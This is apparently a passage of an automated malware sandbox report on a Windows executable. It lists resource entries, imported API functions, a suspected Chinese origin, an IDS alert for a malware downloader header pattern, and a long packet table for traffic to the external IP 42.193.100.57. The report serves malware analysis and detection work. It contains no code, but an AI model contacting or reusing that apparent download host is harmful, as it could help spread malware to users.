RT_STRING	0x108480	0x24	data	Chinese	China	0.4444444444444444
RT_GROUP_CURSOR	0x1084a4	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.25
RT_GROUP_CURSOR	0x1084b8	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.25
RT_GROUP_CURSOR	0x1084cc	0x22	Lotus unknown worksheet or configuration, revision 0x2	Chinese	China	1.0294117647058822
RT_GROUP_ICON	0x1084f0	0x30	data			0.9166666666666666
RT_GROUP_ICON	0x108520	0x14	data	Chinese	China	1.2
RT_GROUP_ICON	0x108534	0x14	data	Chinese	China	1.25
RT_VERSION	0x108548	0x240	data	Chinese	China	0.5642361111111112
RT_MANIFEST	0x108788	0x1cd	XML 1.0 document, ASCII text, with very long lines (461), with no line terminators			0.5878524945770065

Imports

DLL	Import
WINMM.dll	midiStreamOut, midiOutPrepareHeader, waveOutWrite, waveOutPause, waveOutReset, waveOutClose, waveOutGetNumDevs, waveOutOpen, midiOutUnprepareHeader, midiStreamOpen, midiStreamProperty, midiStreamStop, midiOutReset, midiStreamClose, midiStreamRestart, waveOutUnprepareHeader, waveOutRestart, waveOutPrepareHeader
WS2_32.dll	WSACleanup, inet_ntoa, closesocket, getpeername, accept, ntohl, WSAAsyncSelect, recvfrom, ioctlsocket, recv
KERNEL32.dll	OpenProcess, MultiByteToWideChar, SetLastError, GetTimeZoneInformation, GetVersion, TerminateThread, CreateMutexA, ReleaseMutex, TerminateProcess, GetACP, HeapSize, RaiseException, GetLocalTime, GetSystemTime, RtlUnwind, GetStartupInfoA, GetOEMCP, GetCPInfo, GetProcessVersion, SetErrorMode, GlobalFlags, GetCurrentThread, GetFileTime, TlsGetValue, LocalReAlloc, TlsSetValue, TlsFree, GlobalHandle, TlsAlloc, LocalAlloc, lstrcmpA, GlobalGetAtomNameA, GlobalAddAtomA, GlobalFindAtomA, GlobalDeleteAtom, lstrcmpiA, SetEndOfFile, UnlockFile, LockFile, FlushFileBuffers, DuplicateHandle, lstrcpynA, FileTimeToLocalFileTime, FileTimeToSystemTime, LocalFree, WideCharToMultiByte, InterlockedDecrement, InterlockedIncrement, GetCurrentProcess, GetFileSize, SetFilePointer, CreateToolhelp32Snapshot, Process32First, Process32Next, CreateSemaphoreA, ResumeThread, ReleaseSemaphore, EnterCriticalSection, LeaveCriticalSection, GetProfileStringA, WriteFile, WaitForMultipleObjects, CreateFileA, SetEvent, FindResourceA, LoadResource, LockResource, ReadFile, GetModuleFileNameA, GetCurrentThreadId, ExitProcess, GlobalSize, GlobalFree, DeleteCriticalSection, InitializeCriticalSection, lstrcatA, lstrlenA, WinExec, InterlockedExchange, lstrcpyA, FindNextFileA, GetDriveTypeA, GlobalReAlloc, HeapFree, HeapReAlloc, GetProcessHeap, HeapAlloc, GetFullPathNameA, FreeLibrary, LoadLibraryA, GetLastError, GetVersionExA, WritePrivateProfileStringA, CreateThread, CreateEventA, Sleep, GlobalAlloc, GlobalLock, GlobalUnlock, FindFirstFileA, FindClose, GetFileAttributesA, DeleteFileA, GetCurrentDirectoryA, SetCurrentDirectoryA, GetVolumeInformationA, GetModuleHandleA, GetProcAddress, MulDiv, GetCommandLineA, GetTickCount, CreateProcessA, WaitForSingleObject, CloseHandle, UnhandledExceptionFilter, FreeEnvironmentStringsA, FreeEnvironmentStringsW, GetEnvironmentStrings, GetEnvironmentStringsW, SetHandleCount, GetStdHandle, GetFileType, GetEnvironmentVariableA, HeapDestroy, HeapCreate, VirtualFree, SetEnvironmentVariableA, LCMapStringA, LCMapStringW, VirtualAlloc, IsBadWritePtr, SetUnhandledExceptionFilter, GetStringTypeA, GetStringTypeW, CompareStringA, CompareStringW, IsBadReadPtr, IsBadCodePtr, SetStdHandle, SuspendThread
USER32.dll	GetWindow, GetActiveWindow, SetFocus, IsIconic, DestroyAcceleratorTable, SetWindowRgn, GetMessagePos, ScreenToClient, GetSysColorBrush, IsZoomed, PostQuitMessage, CopyAcceleratorTableA, GetKeyState, TranslateAcceleratorA, IsWindowEnabled, ShowWindow, SystemParametersInfoA, LoadImageA, EnumDisplaySettingsA, ClientToScreen, EnableMenuItem, GetSubMenu, GetDlgCtrlID, CreateAcceleratorTableA, CreateMenu, ModifyMenuA, AppendMenuA, CreatePopupMenu, CreateIconFromResource, CreateIconFromResourceEx, RegisterClipboardFormatA, ChildWindowFromPointEx, CopyRect, LoadBitmapA, WinHelpA, SetRectEmpty, SetTimer, ReleaseCapture, GetCapture, SetCapture, GetScrollRange, SetScrollRange, SetScrollPos, LoadStringA, GetMenuCheckMarkDimensions, GetMenuState, SetMenuItemBitmaps, SetRect, InflateRect, IntersectRect, DestroyIcon, PtInRect, OffsetRect, IsWindowVisible, PeekMessageA, RedrawWindow, GetWindowLongA, SetWindowLongA, GetSysColor, SetActiveWindow, SetCursorPos, LoadCursorA, SetCursor, GetDC, FillRect, IsRectEmpty, ReleaseDC, IsChild, DestroyMenu, SetForegroundWindow, GetWindowRect, EqualRect, UpdateWindow, ValidateRect, InvalidateRect, GetClientRect, GetFocus, GetParent, GetTopWindow, PostMessageA, IsWindow, SetParent, DestroyCursor, SendMessageA, SetWindowPos, MessageBoxA, GetCursorPos, GetSystemMetrics, EmptyClipboard, SetClipboardData, OpenClipboard, GetClipboardData, CloseClipboard, wsprintfA, WaitForInputIdle, SetMenu, GetMenu, DispatchMessageA, GetMessageA, WindowFromPoint, DrawFocusRect, DrawEdge, DrawFrameControl, TranslateMessage, LoadIconA, GetDesktopWindow, GetClassNameA, GetWindowThreadProcessId, FindWindowA, GetDlgItem, GetWindowTextA, DeleteMenu, GetSystemMenu, DefWindowProcA, EnableWindow, GetClassInfoA, KillTimer, UnregisterClassA, DrawIconEx, GetWindowTextLengthA, CharUpperA, GetWindowDC, BeginPaint, EndPaint, TabbedTextOutA, DrawTextA, GrayStringA, DestroyWindow, CreateDialogIndirectParamA, EndDialog, GetNextDlgTabItem, GetWindowPlacement, RegisterWindowMessageA, GetForegroundWindow, GetLastActivePopup, GetMessageTime, RemovePropA, CallWindowProcA, GetPropA, UnhookWindowsHookEx, SetPropA, GetClassLongA, CallNextHookEx, SetWindowsHookExA, CreateWindowExA, GetMenuItemID, GetMenuItemCount, RegisterClassA, GetScrollPos, AdjustWindowRectEx, MapWindowPoints, SendDlgItemMessageA, ScrollWindowEx, IsDialogMessageA, SetWindowTextA, MoveWindow, CheckMenuItem
GDI32.dll	TextOutA, RectVisible, PtVisible, GetViewportExtEx, ExtSelectClipRgn, LineTo, MoveToEx, ExcludeClipRect, GetStockObject, CreateFontIndirectA, EndPage, EndDoc, DeleteDC, StartDocA, StartPage, BitBlt, CreateCompatibleDC, Ellipse, Rectangle, ExtTextOutA, DPtoLP, GetCurrentObject, RoundRect, GetTextExtentPoint32A, GetDeviceCaps, DeleteObject, SelectClipRgn, CreatePolygonRgn, GetClipRgn, SetStretchBltMode, CreateRectRgnIndirect, SetBkColor, GetClipBox, ScaleWindowExtEx, SetWindowExtEx, SetWindowOrgEx, ScaleViewportExtEx, SetViewportExtEx, OffsetViewportOrgEx, SetViewportOrgEx, SetMapMode, SetTextColor, SetROP2, Escape, GetTextMetricsA, CreateSolidBrush, FillRgn, CreateRectRgn, CombineRgn, PatBlt, CreatePen, GetObjectA, SelectObject, CreateBitmap, CreateDCA, CreateCompatibleBitmap, GetPolyFillMode, GetStretchBltMode, GetROP2, GetBkColor, GetBkMode, GetTextColor, CreateRoundRectRgn, CreateEllipticRgn, PathToRegion, SetPolyFillMode, SetBkMode, RestoreDC, SaveDC, EndPath, BeginPath, GetWindowOrgEx, GetViewportOrgEx, GetWindowExtEx, GetDIBits, RealizePalette, SelectPalette, CreateDIBitmap, CreatePalette, LPtoDP, StretchBlt, GetSystemPaletteEntries
WINSPOOL.DRV	OpenPrinterA, DocumentPropertiesA, ClosePrinter
ADVAPI32.dll	RegOpenKeyExA, RegSetValueExA, RegQueryValueA, RegCreateKeyExA, RegOpenKeyA, RegCloseKey
SHELL32.dll	Shell_NotifyIconA, ShellExecuteA, SHChangeNotify, SHGetSpecialFolderPathA
ole32.dll	CLSIDFromString, OleUninitialize, CoCreateInstance, OleInitialize
OLEAUT32.dll	LoadTypeLib, RegisterTypeLib, UnRegisterTypeLib
COMCTL32.dll	ImageList_Destroy
comdlg32.dll	ChooseColorA, GetFileTitleA, GetSaveFileNameA, GetOpenFileNameA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T09:14:45.429724+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.11	49702	42.193.100.57	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 09:14:43.156764030 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:43.165366888 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:43.165441990 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:43.165663958 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:43.174057961 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.096400976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.096522093 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.170099974 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.177906990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.500780106 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.500842094 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.500897884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.500910044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.500921965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.500932932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.500936985 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.500976086 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.501022100 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.502677917 CET	49702	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.511079073 CET	80	49702	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.511146069 CET	49702	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.511332035 CET	49702	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.517385960 CET	80	49702	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.724827051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.724853992 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.724865913 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.724878073 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.724889994 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.724893093 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.724906921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.724926949 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.724926949 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.724961042 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.725681067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.725692987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.725725889 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.725756884 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.726047993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.726058960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.726069927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.726092100 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.726129055 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.726129055 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.976378918 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.976406097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.976418972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.976442099 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.976486921 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.976486921 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.976495028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.976538897 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.976659060 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.976710081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.976716995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.976721048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.976758003 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.976767063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.976809025 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.976809025 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.977822065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.977873087 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.977889061 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.977900982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.977925062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.977950096 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.977950096 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.977989912 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.978379965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.978391886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:44.978429079 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:44.978461981 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.062043905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.062108994 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.235595942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.235624075 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.235635996 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.235670090 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.235671043 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.235698938 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.235727072 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.235738993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.235743999 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.235764027 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.235790014 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.235841990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.235855103 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.235888004 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.235922098 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.236895084 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.236953020 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.236994028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.237005949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.237016916 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.237030029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.237063885 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.237116098 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.237550974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.237562895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.237575054 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.237601995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.237616062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.237623930 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.237631083 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.237663031 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.237694979 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.238365889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.238425970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.238425970 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.238476992 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.429563999 CET	80	49702	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.429582119 CET	80	49702	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.429603100 CET	80	49702	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.429610014 CET	80	49702	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.429615974 CET	80	49702	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.429622889 CET	80	49702	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.429723978 CET	49702	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.429862022 CET	49702	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.432466984 CET	49702	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.432563066 CET	49702	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.525804996 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.525835037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.525845051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.525856972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.525871038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.525924921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.525955915 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.525995016 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.525995016 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.526302099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.526345015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.526372910 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.526469946 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.526484013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.526495934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.526508093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.526539087 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.526560068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.526571035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.526582003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.526597023 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.526628971 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.526830912 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.527246952 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.527260065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.527271032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.527344942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.527348042 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.527348042 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.527358055 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.527369976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.527381897 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.527411938 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.527476072 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.528153896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.528211117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.528215885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.528243065 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.528278112 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.528281927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.528296947 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.528407097 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.826308012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.826328039 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.826353073 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.826364994 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.826376915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.826453924 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.826452971 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.826453924 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.826514006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.826548100 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.826591015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.826622009 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.826634884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.826673985 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.826709032 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.826778889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.826801062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.826813936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.826891899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.826891899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.827076912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.827090025 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.827100039 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.827143908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.827155113 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.827168941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.827172041 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.827172041 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.827214956 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.827227116 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.827233076 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.827233076 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.827243090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.827668905 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.828037977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.828049898 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.828062057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.828090906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.828104019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.828114033 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.828125000 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.828125954 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.828125954 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.828164101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.828176022 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.828201056 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.828201056 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.828309059 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.828876972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.828917980 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.828929901 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.828969955 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.828969955 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.828969955 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.829006910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.829019070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.829030037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.829041958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.829057932 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.829226017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.829237938 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.829261065 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.829315901 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:45.831031084 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.831042051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:45.831192017 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.124284029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.124397039 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.124408007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.124419928 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.124445915 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.124514103 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.124548912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.124562025 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.124572992 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.124579906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.124586105 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.124597073 CET	80	49701	42.193.100.57	192.168.2.11
